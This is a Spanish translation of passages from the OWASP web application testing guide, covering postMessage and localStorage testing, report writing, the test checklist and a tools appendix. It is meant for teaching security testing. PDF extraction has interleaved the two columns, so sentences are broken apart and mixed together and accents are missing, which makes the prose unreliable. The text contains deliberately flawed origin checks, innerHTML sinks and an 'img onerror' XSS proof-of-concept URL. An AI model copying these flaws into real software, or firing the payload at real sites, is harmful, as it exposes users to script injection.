Concepto de seguridad de origen

La API Messaging introdujo el mtodo postMessage (), con la que los
mensajes de texto sin formato se pueden enviar a travs de cross-origin. Se El origen se compone de un esquema, nombre de host y del puerto que
compone de dos parmetros: el mensaje y el dominio. identifica de forma exclusiva el dominio de envo o recepcin del mensaje.
No incluye la ruta de acceso o el fragmento de la URL. Por ejemplo,
https://example.com/ ser considerada diferente de http://example.com
porque el esquema en el primer caso es https y en el segundo, http; lo
Hay algunos problemas de seguridad cuando se utiliza '*' como el mismo se aplica a los servidores Web que se ejecutan en el mismo
dominio que se discute a continuacin. Entonces, con el fin de recibir dominio, pero en diferentes puertos.
mensajes, el sitio web receptor tiene que aadir un nuevo controlador de
eventos y tener los siguientes atributos:

322
Desde una perspectiva de seguridad, se debe comprobar si el cdigo est La comprobacin manual debe llevarse a cabo y el cdigo JavaScript debe
filtrando y procesando mensajes solamente desde dominios de confianza. ser analizado para averiguar cmo se implementa Web Messaging. En
Normalmente, la mejor manera de lograr esto es usar una lista blanca. particular, debemos estar interesados en cmo el sitio web limita los
Tambin dentro del dominio de envo, queremos asegurarnos de que el mensajes provenientes de dominio de confianza, y cmo los datos se
dominio de recepcin se est indicando explcitamente y no '*' como el manejan incluso para los dominios de confianza. A continuacin se
segundo argumento de postMessage (), ya que esta prctica podra presentan algunos ejemplos:
introducir problemas de seguridad y podra conducir al caso de un
cambio de direccin, o si el origen cambia por otros medios, el sitio web
estara enviando datos a hosts desconocidos y, por lo tanto, filtrando
datos confidenciales a servidores maliciosos. Ejemplo de cdigo vulnerable :
En este ejemplo, el acceso es necesario para cada subdominio (www, chat,

foros, ...) dentro del dominio owasp.org. El cdigo est tratando de
En caso de que la pgina web no pueda agregar controles de seguridad aceptar cualquier dominio que termine en .owasp.org:
para restringir los dominios o los orgenes que puedan enviarle mensajes,
lo ms probable es introducir un riesgo de seguridad, ya que es una parte window.addEventListener(message, callback, true);
muy interesante del cdigo desde un punto de vista de pruebas de
penetracin. Debemos escanear el cdigo de los detectores de eventos de
mensajes y obtener la funcin de devolucin de llamadas desde el mtodo
addEventListener para su posterior anlisis ya que, como dominios, function callback(e) {
deben ser siempre verificados antes de la manipulacin de datos.
</b>if(e.origin.indexOf(.owasp.org)!=-1) {<b>
/* process message (e.data) */

Validacin de entrada de event.data
}
La validacin de entrada tambin es importante, incluso si el sitio web
est aceptando solamente mensajes de dominios de confianza. Los datos }
tienen que ser tratados como datos externos no confiables y se debe
aplicar el mismo nivel de controles de seguridad. Debemos analizar el
cdigo y buscar mtodos inseguros, en particular, si los datos se evalan a
La intencin es permitir subdominios en esta forma:
travs de
www.owasp.org
eval()
chat.owasp.org
o se inserta en el DOM a travs de
forums.owasp.org
innerHTML
...
propiedad que creara una vulnerabilidad DOM-based XSS.
Cdigo inseguro. Un atacante puede pasar por alto fcilmente el filtro, ya

que coincidir con www.owasp.org.attacker.com.
Cmo probar

Ejemplo de falta de comprobacin de origen, muy inseguro porque
Las pruebas de vulnerabilidades de la Caja Negra en Web Messaging, por aceptar la entrada de cualquier dominio:
lo general, no se llevan a cabo porque el acceso al cdigo fuente est
window.addEventListener(message, callback, true);
siempre disponible ytiene que ser enviado al cliente para ser ejecutado.
function callback(e) {
Prueba de Caja Gris
/* process message (e.data) */

323
} Prueba de Almacenamiento Local (OTG-CLIENT-012)
Resumen
Ejemplo de validacin de entradas: La falta de controles de seguridad Almacenamiento local, tambin conocido como Web Storage o Offline
conducen a Cross-Site Scripting (XSS) Storage, es un mecanismo para almacenar los datos como pares
clave/valor atados a un dominio y forzados por la poltica del mismo
window.addEventListener(message, callback, true); origen (SOP). Hay dos objetos: localStorage que es persistente y est
destinado a sobrevivir los reinicios del navegador/sistema; y
sessionStorage que es temporal y slo existe hasta que se cierre la
ventana o pestaa.
function callback(e) {
if(e.origin === trusted.domain.com) {

En promedio, los navegadores permiten guardar en este almacenamiento
element.innerHTML= e.data; alrededor de 5 MB por cada dominio. Comprarados con el de 4 KB de
cookies es una gran diferencia, pero la diferencia clave desde la
} perspectiva de seguridad es que los datos almacenados en estos dos
objetos se mantienen en el cliente y nunca se envan al servidor. Esto
} tambin mejora el rendimiento de la red ya que los datos no tienen que ir
y volver a travs del cable.
Este cdigo dar lugar a vulnerabilidades Cross-Site Scripting (XSS) ya que

los datos no se tratan adecuadamente. Un enfoque ms seguro sera el Almacenamiento local
uso de la propiedad textContent en lugar de innerHTML.
El acceso al almacenamiento se realiza normalmente utilizando las
funciones SetItem y GetItem. El almacenamiento se puede leer desde
JavaScript, lo que significa que con una sola XSS un atacante sera capaz
Herramientas de extraer todos los datos desde el almacenamiento. Adems, se pueden
cargar datos maliciosos en el almacenamiento a travs de JavaScript, por
OWASP Zed Attack Proxy (ZAP): owasp.org
lo que la aplicacin necesita tener los controles para el tratamiento de
datos no confiables. Compruebe si hay ms de una aplicacin en el mismo
dominio, tales como example.foo/app1 y example.foo/app2, porque esas
compartirn el mismo almacenamiento.
Los datos almacenados en este objeto persistirn despus que la ventana
est cerrada. No es buena idea almacenar datos sensibles o
un conjunto de herramientas que le permiten encontrar las
identificadores de sesin en este objeto, ya que se puede acceder a ellos a
vulnerabilidades de seguridad de forma manual.
travs de JavaScript. Datos de sesin ID almacenados en las cookies
pueden mitigar este riesgo mediante el indicador HTTPOnly.
Referencias
sessionStorage
Recursos OWASP
La principal diferencia de localStorage es que se puede acceder a los
datos almacenados en este objeto slo hasta que la pestaa / ventana se
cierra, lo que lo hace un candidato perfecto para los datos que no
necesitan persistir entre sesiones. Ya que comparte la mayora de las
Libros Blancos propiedades y los mtodos getItem / setItem, la prueba manual debe
llevarse a cabo para buscar estos mtodos e identificar en qu partes del
Web Messaging Specification: whatwg.org cdigo se accede al almacenamiento.

324
Cmo probar Tambin podemos inspeccionar estos objetos a partir de las herramientas
de desarrollo de nuestro navegador.
Las pruebas de Caja Negra de temas dentro del cdigo de

almacenamiento local, por lo general, no se llevan a cabo porque el acceso La siguiente prueba manual debe llevarse a cabo con el fin de determinar
al cdigo fuente est siempre disponible ya que tiene que ser enviado al si el sitio web est guardando datos sensibles en el almacenamiento que
cliente para ser ejecutado. representa un riesgo, y aumentar dramticamente el impacto de una
fuga de informacin. Tambin se debe revisar el cdigo de manejo del
almacenamiento para determinar si es vulnerable a ataques de inyeccin,
un problema comn cuando el cdigo no escapa a la entrada o a la salida.
Prueba de Caja Gris El cdigo JavaScript tiene que ser analizado para evaluar estas cuestiones,
as que asegrese de arrastrar la aplicacin para descubrir cada instancia
En primer lugar, hay que comprobar si se utiliza el almacenamiento local. de cdigo JavaScript y tenga en cuenta que, a veces, las aplicaciones
utilizan las bibliotecas de terceros que tendran que ser examinadas
Ejemplo 1: Acceso al almacenamiento local: tambin.
El acceso a todos los elementos de almacenamiento local con JavaScript:
for(var i=0; i<localStorage.length; i++) {

Aqu est un ejemplo de cmo el uso indebido de la entrada del usuario y
la falta de validacin puede conducir a ataques XSS.
console.log(localStorage.key(i), = ,
localStorage.getItem(localStorage.key(i)));
} Ejemplo 2: XSS en localStorage:
La asignacin insegura de localStorage puede conducir a XSS
El mismo cdigo puede ser aplicado a la sesin de almacenamiento. function action(){
Para el uso de Google Chrome, haga clic en menu -> Tools -> Developer var resource = location.hash.substring(1);
Tools. A continuacin, en Recursos, ver "Almacenamiento local" y
"almacenamiento Web '.
localStorage.setItem(item,resource);
item = localStorage.getItem(item);
document.getElementById(div1).innerHTML=item;
Para el uso de Firefox con el Firebug en adelante, fcilmente puede </script>

inspeccionar el objeto localStorage / sessionStorage en la pestaa DOM.
<body onload=action()>
<div id=div1></div>
</body>

325
URL PoC: OWASP Zed Attack Proxy (ZAP): owasp.org
http://server/StoragePOC.html#<img src=x onerror=alert(1)>

utilizada por personas con amplia experiencia en seguridad y ,como tal, es
un conjunto de herramientas que le permiten encontrar las
vulnerabilidades de seguridad de forma manual.
Referencias
Herramientas
Recursos OWASP
Firebug: getfirebug.com
Google Chrome Developer Tools: developers.google.com

Libros Blancos
Web Storage Specification: w3.org

326
Cmo Reportar
5 La realizacin de la parte tcnica de la evaluacin es slo la mitad del proceso global de evaluacin.
El producto final es la produccin de un informe bien escrito e informativo. Un informe debe ser
fcil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de
evaluacin. El informe debe hacer un llamamiento tanto a la direccin ejecutiva como al personal
tcnico.
organizacin enfrenta o sus consecuencias en los negocios si las

vulnerabilidades explotan. Esta es la tarea de los profesionales en
La realizacin de la parte tcnica de la evaluacin es slo la mitad del situacin de riesgo, quienes calculan los niveles de riesgo a base de esta y
proceso global de evaluacin. El producto final es la produccin de un otra informacin. La gestin de riesgos, por lo general, ser parte de la
informe bien escrito e informativo. Un informe debe ser fcil de entender organizacin IT Security Governance, Risk and Compliance (GRC) y este
y debe poner de relieve todos los riesgos encontrados durante la fase de informe se limitar a proporcionar un primer paso a ese proceso.
evaluacin. El informe debe hacer un llamamiento tanto a la direccin
ejecutiva como al personal tcnico.
2. Parmetros de prueba
La introduccin debe describir los parmetros de las pruebas de

seguridad, los hallazgos y la remediacin. Algunos ttulos de las secciones
El informe debe tener tres secciones principales. Debe ser creado de una sugeridas incluyen:
manera que permita que cada seccin separada pueda ser impresa y
entregada a los equipos apropiados, tales como los desarrolladores o los
administradores del sistema. Las secciones recomendadas se resumen a
continuacin. 2.1 Objetivo del proyecto: En esta seccin se describen los objetivos del
proyecto y los resultados esperados de la evaluacin.
1. Resumen Ejecutivo
2.2 Alcance del proyecto: En esta seccin se describe el alcance acordado.
El resumen ejecutivo compendia los resultados generales de la evaluacin
y ofrece a los administradores de negocios y propietarios de sistemas una
vista de alto nivel de las vulnerabilidades descubiertas. El lenguaje
utilizado debe ser ms adecuado para las personas que no estn al tanto 2.3 Planificacin del proyecto: Esta seccin muestra cuando la prueba
de la tecnologa y debe incluir grficos o diagramas que muestren el nivel inici y termin.
de riesgo. Tenga en cuenta que es probable que los ejecutivos slo tengan
tiempo para leer este resumen y quieran dos preguntas contestadas en un
lenguaje sencillo: 1) Qu pasa? 2) Cmo lo arreglo? Usted tiene una
pgina para responder a estas preguntas. 2.4 Objetivos: Esta seccin muestra el nmero de aplicaciones o sistemas
especficos.
El resumen ejecutivo debe indicar claramente que las vulnerabilidades y

su gravedad son un primer paso al proceso de gestin de riesgos de la 2.5 Limitaciones: Esta seccin describe todas las limitaciones que se
organizacin, no un resultado o remediacin. Es ms seguro explicar que enfrentaron a lo largo de la evaluacin. Por ejemplo, limitaciones en
el evaluador no entiende las amenazas que la pruebas de enfoque de proyectos, limitacin en mtodos de ensayo en
cuestiones de seguridad, rendimiento o problemas tcnicos que el
evaluador encontr durante el transcurso de la evaluacin, etc.

327
2.6 Resumen de resultados: En esta seccin se describen las

vulnerabilidades que se descubrieron durante la prueba.
Imgenes y lneas de comandos para indicar qu tareas se llevaron a
cabo durante la ejecucin del caso de prueba
2.7 Resumen de remediacin: En esta seccin se describe el plan de

accin para resolver las vulnerabilidades que se descubrieron durante la
prueba. El elemento afectado
3. Resultados Una descripcin tcnica del problema y la funcin o el objeto afectado
La ltima seccin del informe incluye informacin tcnica detallada

acerca de las vulnerabilidades detectadas y las acciones necesarias para
resolverlas. Esta seccin est dirigida a un nivel tcnico y debe incluir Una seccin sobre la solucin del problema
toda la informacin necesaria para que los equipos tcnicos puedan
comprender el problema y resolverlo. Cada hallazgo debe ser claro y
conciso y dar al lector del informe una comprensin completa del tema en
cuestin. La clasificacin de gravedad [1], con la notacin vectorial si se utiliza
CVSS
La seccin de resultados debe incluir:

La siguiente es la lista de controles que fueron probados durante la
evaluacin:
ID Prueba ltima versin
Recopilacin de Informacin
OTG-INFO-001 Realizar Motor de bsqueda de descubrimiento y reconocimiento de la fuga de informacin
OTG-INFO-002 Huella digital del Servidor Web
OTG-INFO-003 Revisin de los Meta archivos del Servidor Web para la fuga de informacin
OTG-INFO-004 Enumerar las aplicaciones en el Servidor Web
OTG-INFO-005 Revisin de los Comentarios de la Pgina Web y metadatos para la fuga de informacin
OTG-INFO-006 Identificar los puntos de entrada de la aplicacin
OTG-INFO-007 Mapa de rutas de ejecucin a travs de la aplicacin
OTG-INFO-008 Marco de Aplicaciones Web de la huella digital
OTG-INFO-009 Aplicacin Web de la huella digital
OTG-INFO-010 Mapa de arquitectura de aplicaciones
Configuracin y Pruebas de Gestin de Despliegue

328
OTG-CONFIG-001 Configuracin de Red / Infraestructura de prueba
OTG-CONFIG-002 Configuracin de la plataforma de aplicaciones de prueba
OTG-CONFIG-003 Extensiones de prueba de gestin de ficheros de informacin sensible
OTG-CONFIG-004 Archivos de copia de seguridad y sin referencia para la informacin sensible
OTG-CONFIG-005 Enumerar interfaces de administracin de infraestructura y aplicaciones
OTG-CONFIG-006 Mtodos de prueba HTTP
OTG-CONFIG-007 Seguridad de Transporte Estricta de Prueba HTTP
OTG-CONFIG-008 Polticas de Dominio Cruzado de Pruebas RIA
Pruebas de Gestin de Identidad
OTG-IDENT-001 Definiciones de funcin de Prueba
OTG-IDENT-002 Proceso de Registro de Usuario de Prueba
OTG-IDENT-003 Proceso de Prueba Aprovisionamiento de cuentas
OTG-IDENT-004 Pruebas para la cuenta de enumeracin y cuentas de usuario adivinable
OTG-IDENT-005 Pruebas de polticas de nombre de usuario no ejecutado o dbil
OTG-IDENT-006 Permisos de Prueba de las cuentas de invitado / entrenamiento
OTG-IDENT-007 Prueba de suspensin de cuenta / Proceso Reanudacin
Pruebas de Autenticacin
OTG-AUTHN-001 Pruebas para Credenciales, transportados por un canal cifrado
OTG-AUTHN-002 Pruebas para las credenciales predeterminadas
OTG-AUTHN-003 Pruebas para mecanismo de bloqueo dbil
OTG-AUTHN-004 Pruebas para pasar por el sistema de autenticacin
OTG-AUTHN-005 Prueba de funcionalidad recordar contrasea
OTG-AUTHN-006 Pruebas para debilidad de cach del navegador
OTG-AUTHN-007 Pruebas para la poltica de contraseas dbiles
OTG-AUTHN-008 Pruebas para la seguridad Dbil pregunta / respuesta
OTG-AUTHN-009 Pruebas para los pocos cambios de contrasea o funcionalidades de reinicio
OTG-AUTHN-010 Pruebas para la autenticacin ms dbil en canal alternativo
Pruebas de Autorizacin

329
OTG-AUTHZ-001 Directorio de las pruebas de recorrido / archivo de inclusin
OTG-AUTHZ-002 Pruebas para pasar por el esquema de autorizacin
OTG-AUTHZ-003 Pruebas para escalada de privilegios
OTG-AUTHZ-004 Pruebas para referencias de objetos directos inseguros
Pruebas de gestin de sesiones
OTG-SESS-001 Pruebas por exclusin del esquema de gestin de sesiones
OTG-SESS-002 Pruebas para atributos Cookies
OTG-SESS-003 Pruebas para Fijacin de Sesin
OTG-SESS-004 Pruebas para variables de sesin expuestas
OTG-SESS-005 Pruebas para falsificacin de solicitudes de mltiples sitios
OTG-SESS-006 Pruebas para funcionalidad de cierre de sesin
OTG-SESS-007 Tiempo de espera de sesin de pruebas
OTG-SESS-008 Pruebas para sesin desconcertante
Pruebas de validacin de entrada
OTG-INPVAL-001 Pruebas para XSS Reflejado
OTG-INPVAL-002 Pruebas para almacenado XSS
OTG-INPVAL-003 Pruebas para Alteracin verbal HTTP
OTG-INPVAL-004 Pruebas para la contaminacin de parmetros HTTP
OTG-INPVAL-006 Pruebas para la inyeccin de SQL
Prueba de orculo
Pruebas de Servidor SQL
Prueba de PostgreSQL
Pruebas de Acceso MS
Pruebas para la inyeccin NoSQL
OTG-INPVAL-007 Pruebas para inyeccin LDAP
OTG-INPVAL-008 Pruebas para inyeccin ORM

330
OTG-INPVAL-009 Pruebas para inyeccin XML
OTG-INPVAL-010 Pruebas para inyeccin SSI
OTG-INPVAL-011 Pruebas para inyeccin XPath
OTG-INPVAL-012 Inyeccin IMAP / SMTP
OTG-INPVAL-013 Pruebas para la inyeccin de cdigo
Pruebas para la Inclusin de archivos locales
Pruebas para la inclusin de archivos remotos
OTG-INPVAL-014 Pruebas para inyeccin de comandos
OTG-INPVAL-015 Pruebas para desbordamiento de bfer
Pruebas para desbordamiento del montn
Pruebas para desbordamiento de pila
Pruebas para el formato de cadenas
OTG-INPVAL-016 Pruebas para vulnerabilidades incubadas
OTG-INPVAL-017 Pruebas para divisin/contrabando de HTTP
Manejo de errores
OTG-ERR-001 Anlisis de Cdigos de error
OTG-ERR-002 Anlisis de trazas de la pila
Criptografa
OTG-CRYPST-001 Pruebas para cifrados SSL/TSL dbiles, proteccin de la capa de transporte insuficiente
OTG-CRYPST-002 Pruebas para orculo acolchado
OTG-CRYPST-003 Pruebas para la informacin sensible enviada a travs de canales no cifrados
Pruebas de Lgica de Negocios
OTG-BUSLOGIC-001 Validacin de prueba de datos empresariales lgicos
OTG-BUSLOGIC-002 Prueba de habilidad para forjar solicitudes
OTG-BUSLOGIC-003 Comprobaciones prueba de integridad

331
OTG-BUSLOGIC-004 Prueba de proceso de temporizacin
OTG-BUSLOGIC-005 Prueba de Lmites de Nmero de veces que una funcin se puede utilizar
OTG-BUSLOGIC-006 Pruebas para la elusin de los flujos de trabajo
OTG-BUSLOGIC-007 Prueba de mejores defensas contra el mal uso de aplicaciones
OTG-BUSLOGIC-008 Prueba de carga de tipos de archivo inesperados
OTG-BUSLOGIC-009 Prueba de carga de Archivos malicioso
Pruebas lado del cliente
OTG-CLIENT-001 Pruebas para DOM basada en XSS
OTG-CLIENT-002 Pruebas para ejecucin de JavaScript
OTG-CLIENT-003 Pruebas para inyeccin HTML
OTG-CLIENT-004 Pruebas para redireccin de URL lado del cliente
OTG-CLIENT-005 Pruebas para inyeccin CSS
OTG-CLIENT-006 Pruebas para la manipulacin de recursos de lado del cliente
OTG-CLIENT-007 Prueba Cruzada intercambio de recursos de origen
OTG-CLIENT-008 Pruebas para sitios mltiples intermitentes
OTG-CLIENT-009 Pruebas para Clickjacking
OTG-CLIENT-010 Pruebas de websockets
OTG-CLIENT-011 Mensajera Web de prueba
OTG-CLIENT-012 Almacenamiento local de prueba

332
Incluye una biblioteca de ataques XSS, codificador/decodificador de caracteres,
Apndice generador de solicitudes y evaluador de respuestas HTTP, lista de verificacin de
pruebas, editor de ataques automatizados y mucho ms.
OWASP Pantera Web Assessment Studio Project
Pantera usa una versin mejorada de SpikeProxy para proveer un motor ms

poderoso de anlisis para aplicaciones web. El objetivo principal de Pantera es
combinar capacidades automatizadas con pruebas manuales completas para
Esta seccin se utiliza a menudo para describir las herramientas conseguir los mejores resultados en pruebas de penetracin.
comerciales y de cdigo abierto que fueron utilizadas para realizar la
evaluacin. Cuando scripts personalizados o cdigos son utilizados
durante la evaluacin, estos deben darse a conocer en esta seccin o se
deben sealar como un archivo adjunto. Los clientes aprecian cuando se OWASP Mantra - Security Framework
incluye la metodologa utilizada por los consultores. Esto les da una idea
de la minuciosidad de la evaluacin y de cules reas fueron incluidas. Mantra es un framework de pruebas de seguridad de aplicaciones web construido
sobre un navegador. Es compatible con Windows, Linux (32 y 64 bit) y Macintosh.
Adems, puede trabajar con otros programas como ZAP usando funciones
administrativas de proxy incorporado que hace que sea mucho ms conveniente.
References Industry standard vulnerability severity and risk rankings (CVSS) [1]: Mantra est disponible en nueve idiomas: rabe, chino - simplificado, chino -
first.org tradicional, ingls, francs, portugus, ruso, espaol y turco.
Apndice A: Herramientas de prueba SPIKE - immunitysec.com
Herramientas de Pruebas de Caja Negra de cdigo abierto SPIKE est diseado para analizar nuevos protocolos de red en busca de una
saturacin de bfer o debilidades similares. Requiere un slido conocimiento de C
Pruebas Generales para utilizarlo y slo est disponible para la plataforma Linux.
OWASP ZAP Burp Proxy - portswigger.net
El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetracin Burp Proxy es un servidor proxy interceptor para pruebas de seguridad de
integrada, fcil de usar para encontrar vulnerabilidades en aplicaciones web. Est aplicaciones web, que permite interceptar y modificar todo el trfico HTTP(S) que
diseada para ser utilizada por personas con amplia experiencia en seguridad y, pasa en ambas direcciones; puede trabajar con certificados SSL personalizados y
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en clientes no proxy conscientes.
el uso de pruebas de penetracin.
Odysseus Proxy - http://www.bindshell.net/tools/odysseus.html

ZAP ofrece escneres automatizados, as como un conjunto de herramientas que
permiten encontrar las vulnerabilidades de seguridad manualmente. Odysseus es un servidor proxy, que acta como un intermediario durante una
sesin HTTP. Un proxy HTTP tpico retransmite paquetes hacia y desde un
evaluador del cliente y un servidor web. Interceptar los datos de una sesin HTTP
en cualquier direccin.
OWASP WebScarab
WebScarab es un framework para analizar las aplicaciones que se comunican

mediante los protocolos HTTP y HTTPS. Est escrito en Java y es portable a Webstretch Proxy - sourceforge.net
muchas plataformas. WebScarab tiene varios modos de funcionamiento que son
ejecutados por varios plugins. Webstretch Proxy permite a los usuarios ver y modificar todos los aspectos de la
comunicacin con un sitio web a travs de un proxy. Tambin puede ser utilizado
para la depuracin durante el desarrollo.
OWASP CAL9000
CAL9000 es una coleccin de herramientas basadas en el navegador, que WATOBO - sourceforge.net

permiten esfuerzos de pruebas manuales ms eficaces y eficientes.
333
WATOBO trabaja como un proxy local, similar a Webscarab, ZAP o BurpSuite y Las caractersticas de Wikto incluyen la comprobacin de la lgica difusa de los
soporta revisiones pasivas y activas. errores de cdigo, un minador de accesos restringidos, minero de directorio asistido
por Google y seguimiento de solicitudes y respuestas HTTP en tiempo real.
w3af - w3af.org
Firefox LiveHTTPHeaders - addons.mozilla.org
w3af es un framework referencial de ataques y auditoras de aplicaciones web. El
Visualiza encabezados HTTP de una pgina mientras navega. objetivo del proyecto es encontrar y explotar las vulnerabilidades de la aplicaciones
web.
Firefox Tamper Data - addons.mozilla.org

skipfish - code.google.com
Use tamperdata para visualizar y modificar encabezados y publicaciones
HTTP/HTTPS. Skipfish es una herramienta activa de reconocimiento de seguridad para
aplicaciones web.
Firefox Web Developer Tools - addons.mozilla.org

Web Developer toolbar - chrome.google.com
La extensin del Desarrollador Web aade varias herramientas de desarrollo web
al navegador. La extensin Web Developer aade un botn de barra de herramientas al
navegador, con varias herramientas de desarrollo web. Este es el puerto oficial de la
extensin de Web Developer para Firefox.
DOM Evaluador - developer.mozilla.org
DOM Evaluador es una herramienta de desarrollador que se usa para HTTP Request Maker - chrome.google.com
inspeccionar, navegar y editar un Documento de Modelo de Objeto (Document
Object Model (DOM)). Request Maker es una herramienta de pruebas de penetracin. Con esta
aplicacin puede capturar fcilmente solicitudes realizadas por pginas web, alterar
los encabezados URL e informacin POST y, por supuesto, realizar nevas
solicitudes.
Firefox Firebug - getfirebug.com
Firebug se integra con Firefox para editar, depurar, y monitorear CSS,HTML, y

JavaScript. Cookie Editor - chrome.google.com
Edit This Cookie es un administrador de cookies. Usted puede aadir, borrar,

editar, buscar, proteger y bloquear cookies
Grendel-Scan - sourceforge.net
Grendel-Scan es una herramienta automatizada de seguridad para aplicaciones

web y soporta pruebas manuales de penetracin. Cookie swap - chrome.google.com
Swap My Cookies es un administrador de sesin, administra cookies, permitiendo

que se registre en cualquier sitio web con varias cuentas diferentes.
OWASP SWFIntruder - code.google.com
SWFIntruder (se pronuncia Swiff Intruder) es la primera herramienta desarrollada

especficamente para analizar y probar la seguridad de tiempo de ejecucin de Firebug lite para Chrome - chrome.google.com
aplicacines Flash.
Firebug Lite no es un sustituto de Firebug o Chrome Developer Tools. Es
una herramienta para ser utilizada conjuntamente con estas
herramientas. Firebug Lite proporciona la vasta representacin visual
SWFScan - Link por decidir que estamos acostumbrados a ver en Firebug cuando se trata de los
elementos HTML, los elementos DOM y el Box Model shading. Tambin
Descompilador de Flash ofrece algunas caractersticas interesantes como la inspeccin de los
elementos HTML con el ratn y las propiedades CSS de edicin en tiempo
real.
Wikto - sensepost.com

334
Session Manager - chrome.google.com Blind SQL Injections: code.google.com
Con el Session Manager se puede guardar en forma rpida el estado de su

navegador actual y volverlo a cargar siempre que sea necesario. Puede
administrar varias sesiones, cambiar nombres o eliminarlos de la sesin Pangolin: Una herramienta automtica de pruebas de penetracin de inyeccin
de biblioteca. Cada sesin recuerda el estado del navegador en el SQL: nosec.org
momento de su creacin, es deci pestaas y ventanas abiertas.
Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper:

Subgraph Vega - subgraph.com
http://www.ruizata.com/
Vega es un escner gratuito y de fuente abierta y plataforma de pruebas
para comprobar la seguridad de las aplicaciones web. Vega puede ayudar
a encontrar y validar la inyeccin SQL, Cross-Site Scripting (XSS), sin dar a
conocer informacin sensible y otras vulnerabilidades. Est escrito en Multiple DBMS Sql Injection tool - SQL Power Injector:
Java, basado en GUI, y se ejecuta en Linux, OS X y Windows.
Prueba de vulnerabilidades especficas

MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools:
Prueba de DOM XSS
packetstormsecurity.org
DOMinator Pro: dominator.mindedsecurity.com
Prueba de Oracle
Prueba de AJAX
TNS Listener tool (Perl: jammed.com
OWASP Sprajax Project: owasp.org
Toad for Oracle: quest.com
Prueba de inyeccin SQL

Prueba de SSL
OWASP SQLiX
Foundstone SSL Digger: mcafee.com
Sqlninja: inyeccin SQL Server & Herramienta Takeover :

Prueba del acceso Forzoso de contrasea (
sqlninja.sourceforge.net
THC Hydra: thc.org
John the Ripper: openwall.com

Bernardo Damele A. G.: sqlmap, automatic SQL injection tool:
Brutus: hoobie.net
sqlmap.org
Medusa: foofus.net
Absinthe 1.1 (formerly SQLSqueal): sourceforge.net
Ncat: nmap.org
SQLInjector - Usa tcnicas de inferencia para extraer datos y

Prueba de la saturacin de bfer (Buffer Overflow)
determinar el servidor de bases de back-end: databasesecurity.com
OllyDbg: ollydbg.de
Un depurador basado en Windows que se usa para analizar las vulnerabilidades

Bsqlbf-v2: Un script Perl que permite la extraccin de datos de de saturacin del bfer

335
N-Stalker Web Application Security Scanner: nstalker.com
Spike: immunitysec.com HP WebInspect: hpenterprisesecurity.com
Un framework de distorcin que puede usarse para explorar vulnerabilidades y SoapUI (Web Service security testing): soapui.org
realizar pruebas de larga duracin de Fuerza Bruta Binaria (Brute Force Binary
Tester (BFB)) : Netsparker: mavitunasecurity.com
bfbtester.sourceforge.net SAINT: saintcorporation.com
QualysGuard WAS: qualys.com
Un verificador binario proactivo Retina Web: beyondtrust.com
Metasploit: metasploit.com
Evaluadores de Cdigo Fuente
Un framework rpido de desarrollo y pruebas Open Source / Freeware
Owasp Orizon: owasp.org
Distorsionador (Fuzzer) OWASP LAPSE: owasp.org
OWASP WSFuzzer: owasp.org OWASP O2 Platform: owasp.org
Wfuzz: darknet.org.uk Google CodeSearchDiggity: bishopfox.com
PMD: pmd.sourceforge.net
Googleando FlawFinder: dwheeler.com
Stach & Lius Google Hacking Diggity Project: bishopfox.com Microsofts FxCop: msdn.microsoft.com
Foundstone Sitedigger (Google cached fault-finding): mcafee.com Splint: splint.org
Boon: cs.berkeley.edu
Herramientas comerciales de pruebas de caja negra FindBugs: findbugs.sourceforge.net
NGS Typhon III: nccgroup.com Find Security Bugs: h3xstream.github.io
NGSSQuirreL: nccgroup.com W3af: w3af.sourceforge.net
IBM AppScan: 01.ibm.com phpcs-security-audit: github.com
Cenzic Hailstorm: cenzic.com
Burp Intruder: portswigger.net Comercial
Acunetix Web Vulnerability Scanner: acunetix.com Armorize CodeSecure: armorize.com
Sleuth: sandsprite.com Parasoft C/C++ test: parasoft.com
NT Objectives NTOSpider: ntobjectives.com Checkmarx CxSuite: checkmarx.com
MaxPatrol Security Scanner: ptsecurity.com HP Fortify: hpenterprisesecurity.com
Parasoft SOAtest (more QA-type tool): parasoft.com GrammaTech: grammatech.com
MatriXay: dbappsecurity.com ITS4: seclab.cs.ucdavis.edu

336
Appscan: 01.ibm.com Una herramienta de prueba basada en XML que proporciona una
fachada en la parte superior de htmlunit.
ParaSoft: parasoft.com
Virtual Forge CodeProfiler for ABAP: virtualforge.de

No es necesaria la codificacin ya que las pruebas estn completamente
Veracode: veracode.com especificadas en XML.
Armorize CodeSecure: armorize.com
Existe la opcin de secuencias de algunos elementos en el Groovy si XML

no es suficiente.
Herramientas de prueba de aceptacin
Las herramientas de pruebas de aceptacin se utilizan para validar la

funcionalidad de las aplicaciones web. Algunas siguen un enfoque con Mantenido muy activamente
guin y, por lo general, hacen uso de un marco de pruebas unitarias para
construir series de pruebas y casos de prueba. La mayora, si no todas, se
pueden adaptar para llevar a cabo pruebas especficas de seguridad,
adems de las pruebas funcionales. HttpUnit: httpunit.sourceforge.net
Herramientas de cdigo fuente Uno de los primeros marcos de prueba web; adolece de usar el nativo
JDK proporcionando transporte HTTP que puede ser un poco limitante
Un marco de pruebas basado en la web Ruby que proporciona una para las pruebas de seguridad.
interfaz en Internet Explorer.
Watij: watij.com
Windows solamente.
Una implementacin Java de WATIR.

HtmlUnit: htmlunit.sourceforge.net
El proyecto ahora es compatible con IE, Mozilla, y Safari, Windows,

Un marco basado en Java y JUnit que utiliza Apache HttpClient como Linux, y Mac
transporte.
Solex: solex.sourceforge.net
Muy robusto y configurable y se utiliza como motor para un nmero de
otras herramientas de prueba.
Un plugin de Eclipse que proporciona una herramienta grfica para

grabar sesiones de HTTP y hace afirmaciones basadas en los resultados.
jWebUnit: jwebunit.sourceforge.net
Selenium: seleniumhq.org
Un meta-marco basado en Java que utiliza htmlunit o selenium como
motor de prueba.
El marco de pruebas basadas en JavaScript, multiplataforma y ofrece

una Interfaz grfica de usuario para la creacin de pruebas.
Canoo WebTest: webtest.canoo.com
Herramienta, madura y popular, pero el uso de JavaScript podra

dificultar ciertas pruebas de seguridad.

337
The Open Web Application Security Project (OWASP) Guide Project:
Otras herramientas owasp.org
Anlisis de tiempo de ejecucin
Rational PurifyPlus: 01.ibm.com Security Considerations in the System Development Life Cycle
Seeker by Quotium: quotium.com (NIST): nist.gov
Analisis Binario The Security of Applications: Not All Are Created Equal:
BugScam IDC Package: sourceforge.net securitymanagement.com
Veracode: veracode.com
